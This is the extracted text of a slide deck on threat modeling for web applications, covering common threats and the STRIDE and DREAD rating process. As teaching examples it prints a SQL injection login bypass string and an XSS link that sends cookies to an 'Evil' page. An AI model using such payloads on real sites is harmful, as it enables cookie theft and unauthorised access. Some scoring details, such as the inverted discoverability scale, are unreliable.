Threat Modeling for Secure Web Application Development Rafal

Threat Modeling for Secure Web Application Development Rafal Lukawiecki rafal@projectbotticelli. co. uk Strategic Consultant Project Botticelli Ltd

2 Objectives Introduce the challenges Introduce some common threats Overview threat modelling process Stress the weaknesses

The Challenges

4 Security Definition (Cambridge Dictionary of English) Ability to avoid being harmed by any risk, danger or threat …therefore, in practice, an impossible goal What can we do then? Be as secure as needed Ability to avoid being harmed too much by reasonably predictable risks, dangers or threats (Rafal’s Definition)

5 1 st Conclusion As 100% security is impossible, you need to decide what needs to be secured and how well it needs to be secured In other words, you need: Process and approach for designing in security

6 Challenge Security must be balanced with usability (and accessibility) Most secure = useless Most useful = insecure Know the balance, based on risk analysis

7 Holistic Approach Security is the relationship of the elements of the system Network Host Application Organisation People Politics Strengthening one often decreases security of the whole

8 Security is Expensive And now it seems to be increasingly more important than: Performance Feature-richness Prioritising features or performance over security must be a conscious choice Very dangerous Unlikely to survive in the long-term

9 Improving the Application Development Process Consider Security At the start of the process Throughout development Through deployment All software review milestones Think of security as a process, not a feature or even a state

The Threats

11 Potential Attackers Thieves Confidence tricksters Vandals Criminals Hackers It should be no surprise that attacks occur!

12 Types of Threats Network Host Threats against the network Spoofed packets, etc. Threats against the host Buffer overflows, illicit paths, etc. Threats against the application SQL injection, XSS, input tampering, etc. Application

16 Most Common Threats Buffer Overrun SQL Injection Cross-Site Scripting Hidden-Field Tampering Session Hijacking Identity Spoofing Information Disclosure

17 What Is a Buffer Overrun? Occurs when data exceeds the expected size and overwrites other values Exists primarily in unmanaged C/C++ code Includes four types: Stack-based buffer overruns Heap overruns V-table and function pointer overwrites Exception handler overwrites Can be exploited by worms

18 Possible Results of Buffer Overruns Possible Result Access violation Instability Code Injection Attacker’s Goal To perform denial of service attacks against servers To disrupt the normal operation of software To gain privileges for their own code To exploit vital business data To perform destructive actions

19 Stack-Based Buffer Overrun Example Top of Stack void Un. Safe (const char* unchecked. Data) { char[4] int char local. Variable[4]; int another. Local. Variable; strcpy (local. Variable, unchecked. Data); } Return address

20 SQL Injection Exploits applications that use external input in database commands Input from <form> fields Input from query strings The technique: Find a <form> field or query string parameter used to generate SQL commands Submit input that modifies the commands Compromise, corrupt, and destroy data

21 How SQL Injection Works “Model” Query “SELECT COUNT (*) FROM Users WHERE User. Name=‘” & Field 1. Text & “’ AND Password=‘” & Field 2. Text & “’” Malicious Query – user enters: ‘ or 1=1 -SELECT COUNT (*) FROM Users WHERE User. Name=‘’ or 1=1 -AND Password=‘’ "or 1=1" matches every record in the table "--" comments out the remainder of the query

22 Cross-Site Scripting (XSS) Exploits applications that echo raw, unfiltered input to Web pages Input from <form> fields Input from query strings The technique: Find a <form> field or query string parameter whose value is echoed to the Web page Enter malicious script and get an unwary user to navigate to the infected page Steal cookies, deface and disable sites

23 How Cross-Site Scripting Works URL of the site targeted by the attack <a href="http: //…/Search. aspx? Search=<script language='javascript'> document. location. replace ('http: //localhost/Evil. Page. aspx? Cookie=‘ + document. cookie); </script>">…</a> Query string contains embedded Java. Script that redirects to attacker’s page and transmits cookies issued by Search. aspx in a query string

24 Hidden-Field Tampering Web developers sometimes use hidden fields to persist data between requests Hidden fields are not really hidden!

25 How HF Tampering Works Page contains this… type="hidden" prevents the field from being seen on the page but not in View Source <input type=“hidden” name="price" value="$10, 000"> Postback data should contain this… price="$10, 000" Instead it contains this… price="$1"

26 Session Hijacking Web applications use sessions to store state Sessions are private to individual users Sessions can be compromised Threat Risk Factor Theft and replay of session ID cookies Links to sites that use cookieless session state High* Medium* Predictable session IDs Low* Remote connection to state server service Medium Remote connection to state server database Medium Eavesdropping on state server connection Medium * Shorter session time-outs mitigate the risk by reducing the attack window

27 Identity Spoofing Security depends on authentication If authentication can be compromised, security goes out the window Authentication can be compromised Threat Risk Factor Theft of Windows authentication credentials High Theft of forms authentication credentials High Theft and replay of authentication cookies Medium* Dictionary attacks and password guessing High * Depends on the time-out values assigned to authentication cookies

28 Information Disclosure Which is the better error message?

The Process

30 SD 3 Security Framework Secure by Design Secure Architecture and Code Threat Analysis Vulnerability Reduction Secure by Default Attack Surface Reduced Unused Features Off By Default Minimum Privileges Used Secure in Deployment Protection: Detect, Defend, Recover, Manage Process: Guides People: Training

31 Identifying Threats Understand the problem to find the solution Two approaches Look at lists of common threats and see which apply to your application Threat Modeling

32 Threat Modeling 1. Identify Assets 2. Create an Architecture Overview 3. Decompose the Application 4. Identify the Threats 5. Document the Threats 6. Rate the Threats Structured analysis aimed at: Finding product vulnerabilities Evaluating security threats Identify countermeasures Forms basis of Security Specification

33 Identify Assets 1. Identify Assets 2. Create an Architecture Overview 3. Decompose the Application 4. Identify the Threats 5. Document the Threats 6. Rate the Threats What do you need to protect? Confidential data Orders Customers Web Pages Availability What is important?

34 Create Architecture Overview (Documenting Your Architecture) 1. Identify Assets 2. Create an Architecture Overview 3. Decompose the Application 4. Identify the Threats 5. Document the Threats 6. Rate the Threats Identify what the application does Create an architecture diagram Identify the technologies used

35 Architecture Diagram Asset #1 Asset #2 Database Server Web Server Bob Bill Login Firewall Alice Asset #3 IIS ASP. NET Main State Asset #4 Asset #5 Asset #6

36 Decompose Application 1. Identify Assets 2. Create an Architecture Overview 3. Decompose the Application 4. Identify the Threats 5. Document the Threats 6. Rate the Threats Identify trust boundaries Identify data flow Identify entry points Identify privileged code Document the security profile Architecture & Design Review

37 Decomposition Forms Authentication URL Authorization Web Server Trust Database Server Bob Bill Login Firewall Alice IIS ASP. NET Main State DPAPI Windows Authentication

38 Identify Threats 1. Identify Assets 2. Create an Architecture Overview 3. Decompose the Application 4. Identify the Threats 5. Document the Threats 6. Rate the Threats Use STRIDE to identify threats Use categorized threat lists Network Host Application

39 How Are Threats Evaluated Type of Threat Examples Spoofing l Tampering l Repudiation l Information disclosure l Denial of Service l Elevation of Privilege l Forging Email Message l. Replaying Authentication Altering data during transmission l. Changing data in database Delete critical data and deny it l. Purchase product and deny it Expose information in error messages l. Expose code on web site Flood web service with invalid request l. Flood network with SYN Obtain Administrator privileges l. Use assembly in GAC to create acct

40 Threat Trees Theft of Auth Cookies Obtain auth cookie to spoof identity OR AND Unencrypted Connection Eavesdropping Cookies travel over unencrypted HTTP Attacker uses sniffer to monitor HTTP traffic AND Cross-Site Scripting Attacker possesses means and knowledge XSS Vulnerability Application is vulnerable to XSS attacks

41 Document Threats 1. Identify Assets 2. Create an Architecture Overview 3. Decompose the Application 4. Identify the Threats 5. Document the Threats 6. Rate the Threats Document Threat Target Risk Attack Techniques Countermeasure Leave Risk Blank

42 Document Threats Description Target Attacker obtains credentials Injection of SQL commands Risk Attack Techniques Countermeasures User Auth process Sniffer Use SSL to encrypt channel Data Access Component Append SQL to user name Validate user name Parameterized stored procedure for data access

43 Rate Threats 1. Identify Assets 2. Create an Architecture Overview 3. Decompose the Application Rate Risk Order by Risk Address in order Use DREAD 4. Identify the Threats 5. Document the Threats 6. Rate the Threats Risk’s Exposure = Probability * Damage Potential

44 Rating Threats Simple model based on concept of risk exposure Risk = Probability * Damage Potential 1 -10 Scale 1 = Least probable 10 = Most probable 1 = Least damage 10 = Most damage

45 Calculating Risk D – Damage Potential R – Reproducibility E – Exploitability A – Affected Users D – Discoverability Rate each category High(3), Medium(2) and Low(1)

46 DREAD, Cont. High (3) Medium (2) Low (1) Damage potential Attacker can retrieve extremely sensitive data and corrupt or destroy data Attacker can retrieve sensitive data but do little else Attacker can only retrieve data that has little or no potential for harm Reproducability Works every time; does not require a timing window Timing-dependent; works only within a time window Rarely works Exploitabilty Bart Simpson could do it Attacker must be somewhat knowledgeable and skilled Attacker must be VERY knowledgeable and skilled Affected users Most or all users Some users Few if any users Discoverabilty Attacker might discover the vulnerability Attacker will have to dig to discover the vulnerability Attacker can easily discover the vulnerability

47 Calculating Risk Total Risk Levels High = 12 -15 Medium = 8 -11 Low = 5 -7 Threat D R E A D Total Rating Attacker obtains credentials 3 3 2 2 2 12 High Injection of SQL commands 3 3 2 14 High

48 Plan & Review Based on the security risk list and the threat model, address the issues In order of priority Reassess security risks when: Overall design changes New threats become known At regular intervals

49 Summary We have enough fast, feature-rich and insecure applications Design with security or start losing your business Security “testing” does not exist (yet? ) Security paranoia is a good trait Use best design patterns, practices and processes